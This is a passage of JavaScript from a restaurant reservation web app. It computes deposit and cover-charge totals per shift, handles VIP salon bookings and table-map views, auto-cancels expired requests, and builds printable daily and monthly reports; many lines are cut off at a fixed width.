const vipPorSalon = clavesVipResumen.map(salonId => {
  const nombre = nombreSalonVipPorClave(salonId);
  const reservasDeEsteSalon = rsTodas
    .filter(r => r.mesa && r.mesa.split('+').some(p => claveSalonVipRef(p) ===
    .sort((a,b)=>(a.nombre||'').localeCompare(b.nombre||'', 'es', {sensitivity:
  const pax = reservasDeEsteSalon.reduce((a,r)=>a+Number(r.pax||0),0);
  return { salon:{nombre}, reservas: reservasDeEsteSalon, pax };
});
```

```
const vipReservasCount = vipPorSalon.reduce((a,s)=>a+s.reservas.length,0);
const vipPax = vipPorSalon.reduce((a,s)=>a+s.pax,0);
const totalReservas = generalReservas.length + vipReservasCount;
const totalPax = generalPax + vipPax;

// Total de abonos de este turno — para hacerle seguimiento a cuánto se
// ha recaudado y cuántas reservas de las de hoy ya dejaron abono.
const reservasConAbono = rsTodas.filter(r => Number(r.abono) > 0 || Number(r.ab
const totalAbonos = reservasConAbono.reduce((a,r) => a + Number(r.abono||0), 0)
// "Pactado" = lo acordado con el cliente (si es abono por partes, el
// valor pactado; si es el abono simple de siempre, ese mismo número,
// porque ahí no se maneja la idea de "falta una parte" — se registró
// como recibido). Recaudado ya está arriba (totalAbonos); pendiente es
// la diferencia — casi siempre $0, salvo los abonos pactados a medias.
const totalAbonoPactado = reservasConAbono.reduce((a,r) => a + (Number(r.abonoP
const totalAbonoPendiente = reservasConAbono.reduce((a,r) => a + pendienteAbono

// Lo mismo, pero para el cover de evento especial — es una plata aparte
// del abono (una reserva puede tener las dos), así que se cuenta y se
// suma por separado. Acá el total (coverValor) SIEMPRE es lo pactado —
// por eso hay que restarle lo pendiente para saber lo recaudado.
const reservasConCover = rsTodas.filter(r => Number(r.coverValor) > 0);
const totalCover = reservasConCover.reduce((a,r) => a + Number(r.coverValor||0)
const totalCoverPendiente = reservasConCover.reduce((a,r) => a + pendienteCover
const totalCoverRecaudado = totalCover - totalCoverPendiente;
// El cover se cobra POR PERSONA (a diferencia del abono, que es por
// mesa/reserva) — por eso aquí también se cuentan las personas (pax),
// no solo las reservas: cuántas personas ya tienen su cover pagado del
// todo, y a cuántas todavía les falta una parte o todo.
const paxConCover = reservasConCover.reduce((a,r) => a + (Number(r.pax)||0), 0)
const paxCoverPagado = reservasConCover.filter(r => pendienteCover(r) <= 0).red
const paxCoverPendiente = reservasConCover.filter(r => pendienteCover(r) > 0).r
// Reservas de este turno que NO tienen cover marcado — para detectar de
// un vistazo si a alguien se le olvidó marcarlo (por ejemplo, en un día
// de evento especial donde TODOS deberían tener cover). No asume nada:
// solo muestra la diferencia entre el total de reservas y las que sí
// tienen cover, para que el staff las revise una por una.
const reservasSinCover = rsTodas.filter(r => !(Number(r.coverValor) > 0));
const paxSinCover = reservasSinCover.reduce((a,r) => a + (Number(r.pax)||0), 0)

// Fecha legible para que el resumen se entienda solo, si alguien le toma
// una captura de pantalla sin más contexto (a qué día y turno corresponde).
const fechaLegibleResumen = `${DIAS[fechaActual.getDay()]} ${fechaActual.getDat
const turnoLabelResumen = {desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cena

const vipSalonesHtml = vipPorSalon.map(({salon, reservas, pax}) => {
```

```
  const nombres = reservas.length ? reservas.map(r=>escapeHtml(r.nombre)).join(
  return `<div class="rdd-row">
    <div class="rdd-row-icon neutro">${RDD_ICONS.corona}</div>
    <div class="rdd-row-label">${escapeHtml(salon.nombre)}<div style="font-size
    <div class="rdd-row-val ${reservas.length===0?'cero':''}">${reservas.length
    <div class="rdd-row-val ${pax===0?'cero':''}">${pax}</div>
  </div>`;
}).join('') + `<div class="rdd-row" style="border-top:1px solid var(--gold); ma
    <div class="rdd-row-icon ok">${RDD_ICONS.check}</div>
    <div class="rdd-row-label" style="font-weight:800;">Total salones VIP<div s
    <div class="rdd-row-val ${vipReservasCount===0?'cero':''}" style="font-weig
    <div class="rdd-row-val ${vipPax===0?'cero':''}" style="font-weight:800;">$
  </div>`;

// Abonos y cover van en paneles SEPARADOS — son dos cosas distintas con
// unidades distintas (abono = por mesa/reserva; cover = por persona), y
// mezclarlos en una sola lista genera confusión sobre qué se está
// contando en cada fila.
const abonosFilasHtml = [
  {icono:'billete', color:'amber', label:'Total pactado', count:reservasConAbon
  {icono:'check', color:'ok', label:'Recaudado', count:reservasConAbono.length,
  {icono:'alerta', color:'rojo', label:'Pendiente', count:reservasConAbono.filt
].map(filaRddHtml).join('');

// Desglose del cover por su valor por persona (ej. $80.000 vs $50.000)
// — el cover se cobra por persona, así que agrupar por reserva no dice
// mucho; agrupar por el valor pactado sí permite ver cuánta gente paga
// cada tarifa — y DENTRO de cada tarifa, cuánta gente ya pagó y cuánta
// debe, para que no toque adivinar sumando por separado.
const gruposCoverPorValor = {};
reservasConCover.forEach(r => {
  const pax = Number(r.pax)||0;
  const valorPersona = Number(r.coverValorPersona) || (pax>0 ? Math.round(Numbe
  if(!gruposCoverPorValor[valorPersona]) gruposCoverPorValor[valorPersona] = {r
  const g = gruposCoverPorValor[valorPersona];
  g.reservas += 1;
  g.pax += pax;
  g.subtotal += Number(r.coverValor)||0;
  const pend = pendienteCover(r);
  g.recaudado += (Number(r.coverValor)||0) - pend;
  if(pend <= 0) g.paxPagado += pax; else g.paxPendiente += pax;
});
const filasCoverPorValorObjs = Object.entries(gruposCoverPorValor)
  .sort((a,b) => Number(b[0]) - Number(a[0]))
  .map(([valor, g]) => {
    const pendienteGrupo = g.subtotal - g.recaudado;
    return {
```

```
        icono:'ticket', color:'blue',
        label:`  · Cover de $${Number(valor).toLocaleString('es-CO')}/persona<div
        count:g.reservas, pax:'$'+g.subtotal.toLocaleString('es-CO')
      };
    });

  const coverFilasHtml = [
    {icono:'ticket', color:'amber', label:`Total a cobrar · ${paxConCover} pax`,
    ...filasCoverPorValorObjs,
    {icono:'check', color:'ok', label:`Recaudado · ${paxCoverPagado} pax al día`,
    {icono:'alerta', color:'rojo', label:`Pendiente · ${paxCoverPendiente} pax de
    ...(reservasSinCover.length > 0 ? [{icono:'alerta', color:'rojo', label:'⚠ Si
  ].map(filaRddHtml).join('');

  return {
    top: resumenDiaHtml,
    bottom: renderResumenDiaV2({
      fechaObj: fechaActual,
      unidadSingular: 'Reserva',
      unidadPlural: 'Reservas',
      totalCount: totalReservas,
      totalPax,
      mesaGeneral: {count:generalReservas.length, pax:generalPax},
      mesaVip: {count:vipReservasCount, pax:vipPax},
      extraPanelTitulo: '♛ Salones VIP',
      extraFilasHtml: vipSalonesHtml,
      panelesExtra: [
        {titulo: '💰 Abonos (por mesa / reserva)', filasHtml: abonosFilasHtml},
        {titulo: '🎟 Cover (por persona)', filasHtml: coverFilasHtml},
      ],
    }),
  };
}

function verComprobante(id, tipo){
  const r = reservas.find(x => x.id === id);
  const imagen = tipo === 'cover' ? (r && r.comprobanteCover) : (r && r.comproban
  if(!r || !imagen){ return; }
  // Se muestra DENTRO de la misma app, en una ventana flotante — abrir una
  // pestaña nueva con window.open() es poco confiable en Safari de iPhone
  // (a veces se queda en blanco o rompe la navegación y hay que cerrar todo
  // para volver). Así el usuario nunca sale del programa.
  document.getElementById('comprobanteViewerImg').src = imagen;
  document.getElementById('comprobanteViewerOverlay').classList.add('open');
}
function cerrarComprobanteViewer(){
  document.getElementById('comprobanteViewerOverlay').classList.remove('open');
```

```
  document.getElementById('comprobanteViewerImg').src = '';
}

// Muestra el plano completo, pero resaltando SOLO las mesas de esta
// reserva puntual (reutiliza el mismo dibujo del plano de la pestaña
// "Plano", armando un porMesaRef que solo contiene esta reserva en sus
// mesas — así el resto del plano se ve libre, sin mezclar con las demás
// reservas del turno).
// v6.56 — `titilar` (la usa el módulo Host): la mesa de la reserva parpadea
// para que quien está en la puerta la ubique de un vistazo.
function verMesasDeReserva(id, titilar){
  const r = reservas.find(x => x.id === id);
  if(!r || !r.mesa) return;
  if(!PLANO_MAESTRO){ alert('Todavía no hay un plano configurado — ve a Salones p
  const porMesaRef = {};
  r.mesa.split('+').forEach(ref => { porMesaRef[ref.trim().toLowerCase()] = r; })
  const mesas = PLANO_MAESTRO.mesas || {};
  const pref = PLANO_MAESTRO.pref || {};
  if(PLANO_MAESTRO_FORMATO === 'libre'){
    document.getElementById('verMesasCanvas').innerHTML =
      `<div class="plano-canvas-scroll-wrap" id="verMesasScrollWrap">${buildLibre
    requestAnimationFrame(() => requestAnimationFrame(() =>
      ajustarEscalaPlanoLibre('#verMesasScrollWrap', '#verMesasScrollWrap .plano-
    ));
  } else {
    document.getElementById('verMesasCanvas').innerHTML = `<div class="plano-canv
      ${buildBackgroundPlano(false, null, porMesaRef)}
      ${buildZoneGridPlano('A', ZONES_PLANO.A, mesas, pref, porMesaRef)}
      ${buildZoneGridPlano('C', ZONES_PLANO.C, mesas, pref, porMesaRef)}
    </div>`;
  }
  document.getElementById('verMesasTitulo').textContent = titilar ? `${hostMesaTe
  const canvasVM = document.getElementById('verMesasCanvas');
  canvasVM.classList.toggle('ver-mesas-titila', !!titilar);
  const subVM = document.getElementById('verMesasSub');
  if(subVM) subVM.textContent = titilar
    ? 'La mesa que titila es la de esta reserva. Cuando la ubiques, toca Cerrar.'
    : 'Resaltadas en dorado — el resto del plano se ve tal cual está, solo como r
  const avisoPrev = document.getElementById('verMesasAviso');
  if(avisoPrev) avisoPrev.remove();
  if(titilar && !canvasVM.querySelector('.p-ocupada, .p-pendiente')){
    canvasVM.insertAdjacentHTML('afterbegin', `<div id="verMesasAviso" style="bac
  }
  document.getElementById('overlayVerMesas').classList.add('open');
}
// Texto legible de la(s) mesa(s) de una reserva: "Mesa SB3", "Mesa A1 + A2" o el
function hostMesaTexto(r){
```

```
  if(!r || !r.mesa) return 'Sin mesa';
  const vip = esSalonVipEspecial(r.mesa);
  if(vip) return '👑 ' + vip;
  const partes = String(r.mesa).split('+').map(x => x.trim()).filter(Boolean).map
  return (partes.length > 1 ? 'Mesas ' : 'Mesa ') + partes.join(' + ');
}
function hostVerMesa(id){ verMesasDeReserva(id, true); }

// Ventanita rápida con solo las observaciones de una reserva, sin tener
// que abrir el modal completo de edición para leerlas.
function verObservacionesDeReserva(id){
  const r = reservas.find(x => x.id === id);
  if(!r) return;
  document.getElementById('verObsTitulo').textContent = `Observaciones — ${r.nomb
  document.getElementById('verObsTexto').textContent = r.obs || '(sin observacion
  document.getElementById('overlayVerObs').classList.add('open');
}

function estadoLabel(e){
  return {confirmada:'Confirmada', pendiente:'Pendiente', proceso_comercial:'Proc
}
// ===== Vencimiento automático de solicitudes/reservas atrasadas =====
// Si una solicitud o reserva sigue en un estado "por gestionar" (en
// proceso, pendiente, lista de espera, mensaje enviado o por aprobar) y
// su fecha YA PASÓ, ya no tiene sentido que siga apareciendo como algo
// pendiente de atender — no se puede hacer nada con una fecha que ya
// pasó. Se marca sola como cancelada, con un motivo claro que dice que
// venció automáticamente, para que no quede esperando gestión para
// siempre y sin tener que revisarla ni borrarla a mano. No se pierde
// ningún dato: la reserva queda guardada igual, solo cambia su estado.
const ESTADOS_QUE_VENCEN_AL_PASAR_LA_FECHA = ['solicitud','pendiente','lista_espe
function vencerSolicitudesAtrasadas(){
  // Solo un rol que SÍ puede editar reservas debe intentar esto —
  // consulta no tiene permiso de escritura y no debe ni intentarlo.
  const rol = usuarioActual ? (usuarioActual.rol || 'admin') : 'admin';
  if(rol !== 'admin' && rol !== 'operativo') return;
  const hoyISO = fechaISO(new Date());
  reservas.forEach(r => {
    if(ESTADOS_QUE_VENCEN_AL_PASAR_LA_FECHA.includes(r.estado) && r.fecha && r.fe
      reservasRef.doc(r.id).update({
        estado: 'cancelada',
        motivoCancelacion: 'Vencida automáticamente: la fecha de la reserva ya pa
        vencidaAutomaticamente: true,
        fueAprobadaAntesDeCancelar: false
      }).catch(err => console.error('No se pudo vencer automáticamente la reserva
    }
  });
```

```
}
function mesaLabel(id){
  for(const s of SALONES) for(const m of s.mesas) if(m.id===id) return m.id;
  return id;
}
// Versión corta para tarjetas: si son varias mesas unidas ("A+B+C..."),
// muestra solo la primera y cuántas más, para que nunca se desborde el
// ancho de la tarjeta (eso era lo que corría toda la pantalla al lado
// cuando una reserva tenía muchas mesas). El listado completo se ve al
// editar la reserva, donde sí hay espacio para mostrarlas todas.
function mesaLabelCorto(id){
  if(!id) return '—';
  const partes = id.split('+').map(p=>p.trim()).filter(Boolean);
  if(partes.length<=1) return mesaLabel(id);
  return `${mesaLabel(partes[0])} +${partes.length-1} más`;
}
function mesaEsVip(id){
  if(esSalonVipEspecial(id)) return true;
  for(const s of SALONES) if(s.vip) for(const m of s.mesas) if(m.id===id) return
  return false;
}
// Los 3 salones VIP completos (Puerta de Oro, Curramba, La Arenosa) no son
// mesas dentro de la cuadrícula — son un salón entero que se reserva de
// una vez. Antes se mostraban en las tarjetas como "Mesa SALON-ORO", que no
// dice nada; esto detecta cuando la reserva es justo uno de esos salones y
// devuelve su nombre real, para mostrar "VIP: Salón Puerta de Oro" en su
// lugar.
const SALON_ESPECIAL_LABELS = {
  'SALON-ORO': 'Salón Puerta de Oro',
  'SALON-CURRAMBA': 'Salón Curramba',
  'SALON-ARENOSA': 'Salón La Arenosa',
};
// v6.37 — En un plano de formato libre las reservas guardan el NOMBRE de la
// zona (ej. "SALÓN PUERTA DE ORO", "SALON CURRAMBA"), no el id viejo de la
// cuadrícula (SALON-ORO...). Por eso Resumen / tarjetas no los reconocían
// como VIP. Estas funciones reconocen la zona por su nombre (sin importar
// mayúsculas ni tildes) mirando las zonas kind 'vip' del plano General libre
// y de los planos de evento libres ya descargados. Lo lobby sigue como antes.
function normNombreZona(t){
  return String(t||'').normalize('NFD').replace(/[\u0300-\u036f]/g,'').toLowerCas
}
function zonasVipLibresConocidas(){
  const mapa = {}; // nombre normalizado -> nombre original
  const planos = [];
  if(PLANO_MAESTRO_FORMATO === 'libre' && PLANO_MAESTRO) planos.push(PLANO_MAESTR
  Object.values(planoEventoCacheById || {}).forEach(pl => { if(pl && pl.__formato
  planos.forEach(pl => Object.values(pl.zonas || {}).forEach(z => {
```

```
    if(z && z.kind === 'vip'){ const n = libreIdZona(z); mapa[normNombreZona(n)]
  }));
  return mapa;
}
// Devuelve la "clave" del salón VIP al que corresponde una referencia de
// mesa: el id viejo (SALON-ORO...) si es uno de los 3 de siempre, o
// 'LIBRE:<nombre normalizado>' si es otra zona VIP del plano libre.
function claveSalonVipRef(ref){
  ref = String(ref||'').trim();
  if(!ref) return null;
  if(SALON_ESPECIAL_LABELS[ref]) return ref;
  const n = normNombreZona(ref);
  // Los 3 salones de siempre se reconocen SOLO por su nombre (no dependen
  // de cómo esté marcada la zona en el plano): Curramba, La Arenosa y
  // Puerta de Oro, con o sin tilde, con o sin "La", en mayúsculas o no.
  if(/\bsalon\b/.test(n) || /^(puerta de oro|curramba|la arenosa|arenosa)$/.test(
    if(n.includes('curramba')) return 'SALON-CURRAMBA';
    if(n.includes('arenosa')) return 'SALON-ARENOSA';
    if(n.includes('puerta de oro') || /\boro\b/.test(n)) return 'SALON-ORO';
  }
  // Cualquier otra zona VIP del plano libre tiene su propia fila.
  const conocidas = zonasVipLibresConocidas();
  if(!conocidas[n]) return null;
  return 'LIBRE:' + n;
}
function nombreSalonVipPorClave(clave){
  if(SALON_ESPECIAL_LABELS[clave]) return SALON_ESPECIAL_LABELS[clave];
  const n = String(clave).replace(/^LIBRE:/,'');
  return zonasVipLibresConocidas()[n] || n;
}
function esSalonVipEspecial(mesaId){
  if(!mesaId) return null;
  const partes = mesaId.split('+').map(p=>p.trim());
  for(const p of partes) if(SALON_ESPECIAL_LABELS[p]) return SALON_ESPECIAL_LABEL
  for(const p of partes){ const k = claveSalonVipRef(p); if(k) return nombreSalon
  return null;
}
function findMesa(id){
  for(const s of SALONES) for(const m of s.mesas) if(m.id===id) return {salon:s,
  return null;
}

/* ============ INFORME IMPRIMIBLE DEL DÍA ============ */
// Genera una página aparte, lista para imprimir o "Guardar como PDF" desde
// el propio navegador (más confiable en iPhone que generar el PDF desde
// JS). Respeta el turno que esté activo en pantalla: si está en "Todos",
// salen los 3 turnos en orden (Desayuno, Almuerzo, Cena); si hay un turno
```

```
// puntual elegido, sale solo ese. Al final de cada turno va el plano con
// las mesas ocupadas de ESE turno, para poder repartirlo al personal de
// servicio en papel.
function descargarInformeDia(){
  // Convierte "HH:MM" a minutos para poder ordenar cronológicamente. Las
  // horas de madrugada (00:xx a 05:xx) se tratan como si fueran 24:xx a
  // 29:xx, para que una reserva de cena a la 1:30 am quede DESPUÉS de una
  // de las 11 pm, no antes — mismo criterio que ya se usa para validar
  // el turno de cena cuando cruza la medianoche.
  function minutosParaOrdenHora(hora){
    const [h,m] = String(hora||'0:0').split(':').map(Number);
    const hh = isFinite(h) ? h : 0;
    const mm = isFinite(m) ? m : 0;
    const hAjustada = hh < 6 ? hh + 24 : hh;
    return hAjustada * 60 + mm;
  }
  // El informe es por turno — no tiene sentido imprimir "todo" de una vez
  // (mezclaría desayuno, almuerzo y cena en el mismo reparto de servicio).
  // Hay que elegir un turno puntual arriba antes de poder descargarlo.
  if(turnoActivo === 'todos'){
    alert('Por favor selecciona qué turno quieres descargar — Desayuno, Almuerzo
    return;
  }
  const iso = fechaISO(fechaActual);
  const fechaLarga = `${DIAS[fechaActual.getDay()]} ${fechaActual.getDate()} de $
  const turnosAIncluir = [turnoActivo];
  const turnoLabels = {desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cena', cen

  // Igual que en renderPlano(): si este día/turno coincide con un evento
  // especial que tiene su propio plano, el informe debe mostrar ESE plano
  // (zonas, colores, mesas reales del evento) — no el plano General. Antes
  // esto no se revisaba aquí y el informe siempre mostraba el plano
  // General, aunque la pantalla de "Plano" ya mostrara correctamente el
  // del evento. Los eventos siempre usan el turno REAL (nunca "cena1"/
  // "cena2", que son solo un filtro).
  const evConPlanoInforme = eventosCache.find(e => e.fecha === iso && e.turno ===
  const planoIdEventoInforme = evConPlanoInforme ? evConPlanoInforme.planoId : nu

  function seguirConPlano(planoEventoUsado){
    const usandoPlanoEventoInforme = !!planoEventoUsado;
    const planoBase = usandoPlanoEventoInforme ? planoEventoUsado : PLANO_MAESTRO
    const mesas = planoBase ? (planoBase.mesas || {}) : {};
    const pref = planoBase ? (planoBase.pref || {}) : {};
    const formatoUsadoInforme = usandoPlanoEventoInforme ? ((planoBase && planoBa

    const seccionesHtml = turnosAIncluir.map(turno => {
    const rs = reservas
```

```
  .filter(r => r.fecha===iso && reservaCoincideConTurnoActivo(r, turno) && r.
  .sort((a,b) => minutosParaOrdenHora(a.hora) - minutosParaOrdenHora(b.hora))
const totalPax = rs.reduce((s,r) => s + (Number(r.pax)||0), 0);
const totalAbonoTurno = rs.reduce((s,r) => s + (Number(r.abono)||0), 0);
const reservasConCoverTurno = rs.filter(r => Number(r.coverValor) > 0);
const totalCoverTurno = reservasConCoverTurno.reduce((s,r) => s + (Number(r.c
const paxConCoverTurno = reservasConCoverTurno.reduce((s,r) => s + (Number(r.

const filasHtml = rs.length ? rs.map(r => {
  const coverPersona = Number(r.coverValorPersona) || (Number(r.coverValor)>0
  // Mismo desglose que ya se ve en la tarjeta de la reserva (ver
  // textoCoverBadge): total, cuánto se abonó, y si queda pendiente o
  // ya está pago completo — para saber de un vistazo si ese cliente
  // está al día sin tener que abrir cada reserva por separado.
  const coverTexto = Number(r.coverValor) > 0
    ? (() => {
        const pendiente = pendienteCover(r);
        const abonado = abonadoCover(r);
        const base = `$${Number(r.coverValor).toLocaleString('es-CO')} (${r.p
        const estadoCover = pendiente > 0
          ? `Abono $${abonado.toLocaleString('es-CO')} — Pendiente $${pendien
          : `Abono $${abonado.toLocaleString('es-CO')} — Pagado`;
        return `${base}<br>${estadoCover}`;
      })()
    : '—';
  return `
  <tr>
    <td>${escapeHtml(r.hora)}${r.horaSalida?' → '+escapeHtml(r.horaSalida):''
    <td>${escapeHtml(r.nombre)}</td>
    <td style="text-align:center;">${r.pax}${Number(r.pax)>=30?' ⭐':''}</td>
    <td>${escapeHtml(r.celular||'—')}</td>
    <td>${r.mesa?escapeHtml(r.mesa.split('+').join(' + ')):'—'}</td>
    <td>${r.abono>0?'$'+Number(r.abono).toLocaleString('es-CO'):'—'}</td>
    <td>${coverTexto}</td>
    <td>${escapeHtml(r.ultimoEditorIniciales||r.creadoPorIniciales||'—')}</td
    <td>${estadoLabel(r.estado)}</td>
    <td>${escapeHtml(r.obs||'')}</td>
  </tr>`;
}).join('') : `<tr><td colspan="10" style="text-align:center; color:#888; pad

const porMesaRef = {};
rs.forEach(r => { if(r.mesa) r.mesa.split('+').forEach(ref => { porMesaRef[re
const planoHtml = formatoUsadoInforme === 'libre'
  ? (planoBase ? `
  <div class="plano-canvas-scroll-wrap" id="informePlanoScrollWrap" style="ma
    ${buildLibrePlanoDisplay(planoBase, porMesaRef)}
  </div>` : '')
```

```
  : usandoPlanoEventoInforme
  ? `
  <div class="plano-canvas-scroll-wrap" id="informePlanoScrollWrap" style="ma
  <div class="plano-canvas-app evento">
    ${Object.keys(planoBase.bloques||{}).map(bid => {
        const b = planoBase.bloques[bid];
        return `<div class="plano-zoneblock" style="left:${b.left}%; top:${b.
      }).join('')}
    ${Object.keys(planoBase.zonas||{}).map(zid => {
        const z = planoBase.zonas[zid];
        let etiqueta = '';
        if(z.labelSide === 'left'){
          etiqueta = `<div class="plano-zona-label-lateral flip" style="left:
        } else if(z.labelSide === 'right'){
          etiqueta = `<div class="plano-zona-label-lateral" style="left:${z.l
        }
        return etiqueta + buildZoneGridPlano(zid, z, mesas, pref, porMesaRef,
      }).join('')}
  </div>
  </div>`
  : (PLANO_MAESTRO ? `
  <div class="plano-canvas-app" style="margin:14px auto 0;">
    ${buildBackgroundPlano(false, null, porMesaRef)}
    ${buildZoneGridPlano('A', ZONES_PLANO.A, mesas, pref, porMesaRef)}
    ${buildZoneGridPlano('C', ZONES_PLANO.C, mesas, pref, porMesaRef)}
  </div>` : '');

return `
  <div class="informe-turno">
    <h2>${turnoLabels[turno]} — ${rs.length} reserva${rs.length===1?'':'s'},
    <table>
      <thead><tr>
        <th>Hora</th><th>Cliente</th><th>Pax</th><th>Celular</th><th>Mesa</th
      </tr></thead>
      <tbody>${filasHtml}</tbody>
    </table>
    <div style="display:flex; gap:16px; margin-top:10px; font-size:13px; font
      <span>💰 Total abonos: $${totalAbonoTurno.toLocaleString('es-CO')}</spa
      <span>🅰 Total cover: $${totalCoverTurno.toLocaleString('es-CO')} (${re
    </div>
    ${planoHtml}
  </div>`;
}).join('');

// Se muestra DENTRO de la misma app, en un overlay a pantalla completa —
// abrir una pestaña/ventana nueva con window.open() sacaba a la persona
// de la aplicación en iPhone (a veces cerrar esa pestaña cerraba todo el
```

```
    // programa en vez de solo el informe). Así se queda siempre adentro, y
    // "Cerrar" solo cierra el informe, nunca la app. Para imprimir o guardar
    // como PDF, se usa window.print() con un estilo que oculta todo lo demás
    // de la pantalla y solo imprime este contenido.
    document.getElementById('informeContenido').innerHTML = `
      <div class="informe-header">
        <h1>La Matriarca Barranquilla — Informe de reservas</h1>
        <div class="informe-subtitulo">${fechaLarga} · ${turnoLabels[turnoActivo]
      </div>
      ${seccionesHtml}`;
    document.getElementById('overlayInforme').classList.add('open');
    if(formatoUsadoInforme === 'libre'){
      requestAnimationFrame(() => requestAnimationFrame(() =>
        ajustarEscalaPlanoLibre('#informePlanoScrollWrap', '#informePlanoScrollWr
      ));
    } else if(usandoPlanoEventoInforme){
      requestAnimationFrame(() => requestAnimationFrame(() =>
        ajustarEscalaPlanoApp('#informePlanoScrollWrap', '#informePlanoScrollWrap
      ));
    }
  }

  if(!planoIdEventoInforme){
    seguirConPlano(null);
  } else if(planoEventoCacheById.hasOwnProperty(planoIdEventoInforme)){
    seguirConPlano(planoEventoCacheById[planoIdEventoInforme]);
  } else {
    // Todavía no se había cargado este plano de evento en esta sesión (por
    // ejemplo, si se descarga el informe sin haber entrado antes a la
    // pestaña "Plano") — se descarga una sola vez antes de armar el informe.
    db.collection('planosMesasEventos').doc(planoIdEventoInforme).get().then(doc
      let parsed = null;
      if(doc.exists && doc.data().json){
        try { parsed = JSON.parse(doc.data().json); } catch(e){ console.error('Pl
      }
      // Se guarda de una vez si este plano de evento es de formato libre
      // (mesas/zonas con posición propia) o de cuadrícula — así el resto
      // de la app sabe con qué funciones dibujarlo (ver PLANO_MAESTRO_FORMATO).
      if(parsed) parsed.__formato = (doc.data() && doc.data().formato) || 'grid';
      planoEventoCacheById[planoIdEventoInforme] = parsed;
      seguirConPlano(parsed);
    }).catch(err => {
      console.error('Error cargando el plano del evento para el informe:', err);
      seguirConPlano(null);
    });
  }
}
```

```
function cerrarInforme(){
  document.getElementById('overlayInforme').classList.remove('open');
}

// ===== Informe administrativo: reservas especiales (30+ personas) por mes =====
// Se agrupa semana a semana (lunes a domingo) dentro del mes elegido, con
// cliente, personas y quién gestionó cada reserva, más abono por reserva,
// subtotal de abono por semana y totales al cierre del mes. Reutiliza el
// mismo overlay del informe diario para que también se pueda imprimir /
// guardar como PDF desde dentro de la app (sin pestaña nueva).
function generarInformeEspecialesMes(){
  const inputMes = document.getElementById('fInformeEspecialesMes').value;
  let yearMonth = inputMes;
  if(!yearMonth){
    const hoy = new Date();
    yearMonth = `${hoy.getFullYear()}-${String(hoy.getMonth()+1).padStart(2,'0')}
  }
  const tipoInforme = document.getElementById('fInformeEspecialesTipo').value; //
  renderInformeReservas(yearMonth, tipoInforme, 30);
}
function generarInformeGeneralMes(){
  const inputMes = document.getElementById('fInformeGeneralMes').value;
  let yearMonth = inputMes;
  if(!yearMonth){
    const hoy = new Date();
    yearMonth = `${hoy.getFullYear()}-${String(hoy.getMonth()+1).padStart(2,'0')}
  }
  const tipoInforme = document.getElementById('fInformeGeneralTipo').value; // 'a
  renderInformeReservas(yearMonth, tipoInforme, 0);
}
function generarInformeEstadisticasSolicitudesMes(){
  const inputMes = document.getElementById('fInformeEstadisticasMes').value;
  let yearMonth = inputMes;
  if(!yearMonth){
    const hoy = new Date();
    yearMonth = `${hoy.getFullYear()}-${String(hoy.getMonth()+1).padStart(2,'0')}
  }
  renderInformeEstadisticasSolicitudes(yearMonth);
}
// Estadísticas de solicitudes: día de la semana con más/menos, rango de
// horario en que llegan más, y seguimiento de canceladas (total y
// especiales) con su porcentaje sobre el total del mes. Usa el mismo
// criterio de "todas las solicitudes" que la pantalla de Solicitudes
// (pasoPorSolicitud===true), agrupadas por el día en que LLEGÓ la
// solicitud (fechaSolicitud) — igual que el informe general/especiales.
function renderInformeEstadisticasSolicitudes(yearMonth){
  const [anio, mes] = yearMonth.split('-').map(Number);
```

```
const mesLabel = `${MESES[mes-1]} ${anio}`;
const fechaClave = r => r.fechaSolicitud || r.fecha;

const todasDelMes = reservas.filter(r =>
  r.pasoPorSolicitud === true && fechaClave(r) && fechaClave(r).startsWith(year
);
const totalSolicitudes = todasDelMes.length;
const sumaPax = arr => arr.reduce((s,r) => s + (Number(r.pax)||0), 0);
const totalPax = sumaPax(todasDelMes);
const canceladas = todasDelMes.filter(r => r.estado === 'cancelada');
const canceladasPax = sumaPax(canceladas);
const pctCanceladas = totalSolicitudes>0 ? (canceladas.length/totalSolicitudes*
const noCanceladas = totalSolicitudes - canceladas.length;
const noCanceladasPax = totalPax - canceladasPax;
const pctNoCanceladas = totalSolicitudes>0 ? (noCanceladas/totalSolicitudes*100

// Gestión de reservas ESPECIALES (30+ personas) — medición totalmente
// aparte: su propio universo (especialesDelMes), nunca el total general
// como denominador. Así la tasa de cancelación especial mide de verdad
// el desempeño sobre las reservas especiales, no se diluye entre todas
// las solicitudes del mes.
const especialesDelMes = todasDelMes.filter(r => Number(r.pax) >= 30);
const totalEspeciales = especialesDelMes.length;
const especialesPax = sumaPax(especialesDelMes);
const especialesCanceladas = especialesDelMes.filter(r => r.estado === 'cancela
const especialesCanceladasPax = sumaPax(especialesCanceladas);
const pctCancelEspecial = totalEspeciales>0 ? (especialesCanceladas.length/tota
const especialesNoCanceladas = totalEspeciales - especialesCanceladas.length;
const especialesNoCanceladasPax = especialesPax - especialesCanceladasPax;
const pctNoCancelEspecial = totalEspeciales>0 ? (especialesNoCanceladas/totalEs
// Dato complementario: qué parte de TODAS las cancelaciones del mes
// fueron especiales — no es el indicador principal, solo contexto.
const pctEspecialesDeCanceladas = canceladas.length>0 ? (especialesCanceladas.l

// Rango de fechas del reporte — si es el mes que está corriendo ahora
// mismo, se corta en hoy (todavía no puede haber solicitudes del resto
// del mes); si es un mes ya cerrado, va del 1 al último día completo.
const primerDiaMes = new Date(anio, mes-1, 1, 12);
const ultimoDiaMes = new Date(anio, mes, 0, 12);
const hoy = new Date();
const esMesActual = (hoy.getFullYear()===anio && hoy.getMonth()===mes-1);
const finRango = esMesActual ? hoy : ultimoDiaMes;
const rangoLabel = esMesActual
  ? `Fecha de corte: 1 al ${finRango.getDate()} de ${MESES[mes-1]} de ${anio}`
  : `Del 1 al ${ultimoDiaMes.getDate()} de ${MESES[mes-1]} de ${anio}`;

// Por día de la semana en que llegó la solicitud.
```

```
const DIAS_SEMANA = ['Domingo','Lunes','Martes','Miércoles','Jueves','Viernes',
const porDiaSemana = new Array(7).fill(0);
const porDiaSemanaPax = new Array(7).fill(0);
todasDelMes.forEach(r => {
  const f = fechaClave(r);
  const [y,m,d] = f.split('-').map(Number);
  const fecha = new Date(y, m-1, d, 12);
  porDiaSemana[fecha.getDay()]++;
  porDiaSemanaPax[fecha.getDay()] += Number(r.pax)||0;
});
let diaMax = 0, diaMin = 0;
for(let i=1;i<7;i++){
  if(porDiaSemana[i] > porDiaSemana[diaMax]) diaMax = i;
  if(porDiaSemana[i] < porDiaSemana[diaMin]) diaMin = i;
}
const hayDatosDia = totalSolicitudes > 0;

